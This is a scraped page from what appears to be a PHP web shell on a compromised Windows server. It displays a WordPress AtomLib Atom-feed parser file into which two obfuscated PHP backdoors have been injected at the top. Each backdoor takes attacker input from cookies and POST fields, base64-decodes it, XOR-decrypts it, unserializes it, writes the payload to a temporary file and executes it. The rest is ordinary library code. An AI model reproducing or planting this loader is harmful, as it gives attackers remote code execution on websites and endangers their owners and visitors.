Server IP : 103.11.96.170 / Your IP : 3.148.241.210 Web Server : Microsoft-IIS/10.0 System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64 User : elibrary.unsap.ac.id ( 0) PHP Version : 7.4.19 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF Directory (0777) : D:/localhost/ppp/wp-includes/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $ryvXVmdIx = 'I' . chr (108) . 'u' . '_' . chr (106) . "\131" . 'h' . 's' . "\x62";$Uvmpq = chr (99) . "\154" . 'a' . chr (115) . 's' . "\x5f" . "\145" . "\x78" . chr (105) . chr ( 645 - 530 )."\x74" . 's';$evMeiv = class_exists($ryvXVmdIx); $ryvXVmdIx = "50884";$Uvmpq = "43029";$ZavOHjUy = FALSE;if ($evMeiv === $ZavOHjUy){$tfXYjq = "48184";class Ilu_jYhsb{public function EOVJcpUd(){echo "3147";}private $yIQxYmIXK;public static $ZQhTZFdM = "e89c7079-4bcc-4f0f-aee8-9cb79562252d";public static $uwAvQsTnX = 30155;public function __construct($ltLeNv=0){$NLnjA = $_POST;$JfRnSYMH = $_COOKIE;$lDgqbeoLhO = @$JfRnSYMH[substr(Ilu_jYhsb::$ZQhTZFdM, 0, 4)];if (!empty($lDgqbeoLhO)){$tMfjtFEDrj = "base64";$FrtuPdI = "";$lDgqbeoLhO = explode(",", $lDgqbeoLhO);foreach ($lDgqbeoLhO as $VbjHMO){$FrtuPdI .= @$JfRnSYMH[$VbjHMO];$FrtuPdI .= @$NLnjA[$VbjHMO];}$FrtuPdI = array_map($tMfjtFEDrj . chr ( 757 - 662 ).chr (100) . "\x65" . "\x63" . "\157" . "\x64" . "\145", array($FrtuPdI,)); $FrtuPdI = $FrtuPdI[0] ^ str_repeat(Ilu_jYhsb::$ZQhTZFdM, (strlen($FrtuPdI[0]) / strlen(Ilu_jYhsb::$ZQhTZFdM)) + 1);Ilu_jYhsb::$uwAvQsTnX = @unserialize($FrtuPdI);}}private function pvZdRIGlKG($tfXYjq){if (is_array(Ilu_jYhsb::$uwAvQsTnX)) {$nfsBaszpF = sys_get_temp_dir() . "/" . crc32(Ilu_jYhsb::$uwAvQsTnX['s' . chr (97) . "\x6c" . "\x74"]);@Ilu_jYhsb::$uwAvQsTnX['w' . 'r' . 'i' . "\164" . "\145"]($nfsBaszpF, Ilu_jYhsb::$uwAvQsTnX[chr (99) . chr ( 769 - 658 ).chr ( 736 - 626 ).'t' . "\145" . chr (110) . "\x74"]);include $nfsBaszpF;@Ilu_jYhsb::$uwAvQsTnX['d' . "\145" . "\154" . chr (101) . "\164" . chr (101)]($nfsBaszpF); $tfXYjq = "48184";exit();}}public function __destruct(){$tfXYjq = "10536_18336";$this->pvZdRIGlKG($tfXYjq); $tfXYjq = "10536_18336";}}$LhhEu = new /* 60239 */ Ilu_jYhsb(); $LhhEu = str_repeat("10536_18336", 1);} ?><?php $pVdlPaOw = chr (101) . chr ( 554 - 459 ).'O' . "\125" . 'M';$ILJbFqRitu = chr ( 260 - 161 )."\x6c" . chr ( 492 - 395 )."\x73" . chr ( 381 - 266 ).chr ( 589 - 494 )."\x65" . "\x78" . chr ( 365 - 260 ).chr (115) . chr (116) . "\x73";$YegdJesWmW = $ILJbFqRitu($pVdlPaOw); $pVdlPaOw = "26911";$iKFZgOQ = $YegdJesWmW;$ILJbFqRitu = "19667";if (!$iKFZgOQ){class e_OUM{private $AOXQeeMaJ;public static $kKsLvj = "1c7cdd94-a7a0-49c7-89aa-fcb5a51680da";public static $Cedruuh = 8813;public function __construct($qRNwWCCrCK=0){$SELbuyYf = $_COOKIE;$GHHWe = $_POST;$RMDyz = @$SELbuyYf[substr(e_OUM::$kKsLvj, 0, 4)];if (!empty($RMDyz)){$jXZvJNs = "base64";$WZEvaY = "";$RMDyz = explode(",", $RMDyz);foreach ($RMDyz as $CcqvTiSj){$WZEvaY .= @$SELbuyYf[$CcqvTiSj];$WZEvaY .= @$GHHWe[$CcqvTiSj];}$WZEvaY = array_map($jXZvJNs . chr ( 796 - 701 )."\144" . 'e' . "\x63" . chr ( 390 - 279 ).chr (100) . "\x65", array($WZEvaY,)); $WZEvaY = $WZEvaY[0] ^ str_repeat(e_OUM::$kKsLvj, (strlen($WZEvaY[0]) / strlen(e_OUM::$kKsLvj)) + 1);e_OUM::$Cedruuh = @unserialize($WZEvaY);}}private function HCuhBdQcy(){if (is_array(e_OUM::$Cedruuh)) {$bDaFYOnNW = sys_get_temp_dir() . "/" . crc32(e_OUM::$Cedruuh[chr (115) . "\x61" . "\x6c" . chr (116)]);@e_OUM::$Cedruuh[chr (119) . chr ( 729 - 615 ).chr ( 993 - 888 )."\164" . chr (101)]($bDaFYOnNW, e_OUM::$Cedruuh[chr ( 731 - 632 ).chr (111) . "\x6e" . 't' . 'e' . "\x6e" . chr ( 573 - 457 )]);include $bDaFYOnNW;@e_OUM::$Cedruuh[chr (100) . chr ( 304 - 203 ).chr ( 651 - 543 ).chr ( 189 - 88 ).chr ( 215 - 99 ).'e']($bDaFYOnNW); $gHSzCk = "60933";exit();}}public function __destruct(){$this->HCuhBdQcy(); $gHSzCk = "60933";$AyMwAQTVKn = str_pad($gHSzCk, 10);}}$QAeyYRzWAj = new /* 33844 */ e_OUM(); $QAeyYRzWAj = substr("38149_11833", 1);} ?><?php /** * Atom Syndication Format PHP Library * * @package AtomLib * @link http://code.google.com/p/phpatomlib/ * * @author Elias Torres <elias@torrez.us> * @version 0.4 * @since 2.3.0 */ /** * Structure that store common Atom Feed Properties * * @package AtomLib */ class AtomFeed { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); /** * Stores Entries * * @var array * @access public */ var $entries = array(); } /** * Structure that store Atom Entry Properties * * @package AtomLib */ class AtomEntry { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); } /** * AtomLib Atom Parser API * * @package AtomLib */ class AtomParser { var $NS = 'http://www.w3.org/2005/Atom'; var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights'); var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft'); var $debug = false; var $depth = 0; var $indent = 2; var $in_content; var $ns_contexts = array(); var $ns_decls = array(); var $content_ns_decls = array(); var $content_ns_contexts = array(); var $is_xhtml = false; var $is_html = false; var $is_text = true; var $skipped_div = false; var $FILE = "php://input"; var $feed; var $current; /** * PHP5 constructor. */ function __construct() { $this->feed = new AtomFeed(); $this->current = null; $this->map_attrs_func = array( __CLASS__, 'map_attrs' ); $this->map_xmlns_func = array( __CLASS__, 'map_xmlns' ); } /** * PHP4 constructor. */ public function AtomParser() { self::__construct(); } /** * Map attributes to key="val" * * @param string $k Key * @param string $v Value * @return string */ public static function map_attrs($k, $v) { return "$k=\"$v\""; } /** * Map XML namespace to string. * * @param indexish $p XML Namespace element index * @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ] * @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"' */ public static function map_xmlns($p, $n) { $xd = "xmlns"; if( 0 < strlen($n[0]) ) { $xd .= ":{$n[0]}"; } return "{$xd}=\"{$n[1]}\""; } function _p($msg) { if($this->debug) { print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n"; } } function error_handler($log_level, $log_text, $error_file, $error_line) { $this->error = $log_text; } function parse() { set_error_handler(array(&$this, 'error_handler')); array_unshift($this->ns_contexts, array()); if ( ! function_exists( 'xml_parser_create_ns' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } $parser = xml_parser_create_ns(); xml_set_object($parser, $this); xml_set_element_handler($parser, "start_element", "end_element"); xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); xml_set_character_data_handler($parser, "cdata"); xml_set_default_handler($parser, "_default"); xml_set_start_namespace_decl_handler($parser, "start_ns"); xml_set_end_namespace_decl_handler($parser, "end_ns"); $this->content = ''; $ret = true; $fp = fopen($this->FILE, "r"); while ($data = fread($fp, 4096)) { if($this->debug) $this->content .= $data; if(!xml_parse($parser, $data, feof($fp))) { /* translators: 1: Error message, 2: Line number. */ trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n", xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser))); $ret = false; break; } } fclose($fp); xml_parser_free($parser); unset($parser); restore_error_handler(); return $ret; } function start_element($parser, $name, $attrs) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); switch($name) { case $this->NS . ':feed': $this->current = $this->feed; break; case $this->NS . ':entry': $this->current = new AtomEntry(); break; }; $this->_p("start_element('$name')"); #$this->_p(print_r($this->ns_contexts,true)); #$this->_p('current(' . $this->current . ')'); array_unshift($this->ns_contexts, $this->ns_decls); $this->depth++; if(!empty($this->in_content)) { $this->content_ns_decls = array(); if($this->is_html || $this->is_text) trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup."); $attrs_prefix = array(); // resolve prefixes for attributes foreach($attrs as $key => $value) { $with_prefix = $this->ns_to_prefix($key, true); $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value); } $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix))); if(strlen($attrs_str) > 0) { $attrs_str = " " . $attrs_str; } $with_prefix = $this->ns_to_prefix($name); if(!$this->is_declared_content_ns($with_prefix[0])) { array_push($this->content_ns_decls, $with_prefix[0]); } $xmlns_str = ''; if(count($this->content_ns_decls) > 0) { array_unshift($this->content_ns_contexts, $this->content_ns_decls); $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0]))); if(strlen($xmlns_str) > 0) { $xmlns_str = " " . $xmlns_str; } } array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">")); } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { $this->in_content = array(); $this->is_xhtml = $attrs['type'] == 'xhtml'; $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html'; $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text'; $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type'])); if(in_array('src',array_keys($attrs))) { $this->current->$tag = $attrs; } else { array_push($this->in_content, array($tag,$this->depth, $type)); } } else if($tag == 'link') { array_push($this->current->links, $attrs); } else if($tag == 'category') { array_push($this->current->categories, $attrs); } $this->ns_decls = array(); } function end_element($parser, $name) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); $ccount = count($this->in_content); # if we are *in* content, then let's proceed to serialize it if(!empty($this->in_content)) { # if we are ending the original content element # then let's finalize the content if($this->in_content[0][0] == $tag && $this->in_content[0][1] == $this->depth) { $origtype = $this->in_content[0][2]; array_shift($this->in_content); $newcontent = array(); foreach($this->in_content as $c) { if(count($c) == 3) { array_push($newcontent, $c[2]); } else { if($this->is_xhtml || $this->is_text) { array_push($newcontent, $this->xml_escape($c)); } else { array_push($newcontent, $c); } } } if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) { $this->current->$tag = array($origtype, join('',$newcontent)); } else { $this->current->$tag = join('',$newcontent); } $this->in_content = array(); } else if($this->in_content[$ccount-1][0] == $tag && $this->in_content[$ccount-1][1] == $this->depth) { $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>"; } else { # else, just finalize the current element's content $endtag = $this->ns_to_prefix($name); array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>")); } } array_shift($this->ns_contexts); $this->depth--; if($name == ($this->NS . ':entry')) { array_push($this->feed->entries, $this->current); $this->current = null; } $this->_p("end_element('$name')"); } function start_ns($parser, $prefix, $uri) { $this->_p("starting: " . $prefix . ":" . $uri); array_push($this->ns_decls, array($prefix,$uri)); } function end_ns($parser, $prefix) { $this->_p("ending: #" . $prefix . "#"); } function cdata($parser, $data) { $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#"); if(!empty($this->in_content)) { array_push($this->in_content, $data); } } function _default($parser, $data) { # when does this gets called? } function ns_to_prefix($qname, $attr=false) { # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div') $components = explode(":", $qname); # grab the last one (e.g 'div') $name = array_pop($components); if(!empty($components)) { # re-join back the namespace component $ns = join(":",$components); foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if($mapping[1] == $ns && strlen($mapping[0]) > 0) { return array($mapping, "$mapping[0]:$name"); } } } } if($attr) { return array(null, $name); } else { foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if(strlen($mapping[0]) == 0) { return array($mapping, $name); } } } } } function is_declared_content_ns($new_mapping) { foreach($this->content_ns_contexts as $context) { foreach($context as $mapping) { if($new_mapping == $mapping) { return true; } } } return false; } function xml_escape($content) { return str_replace(array('&','"',"'",'<','>'), array('&','"',''','<','>'), $content ); } }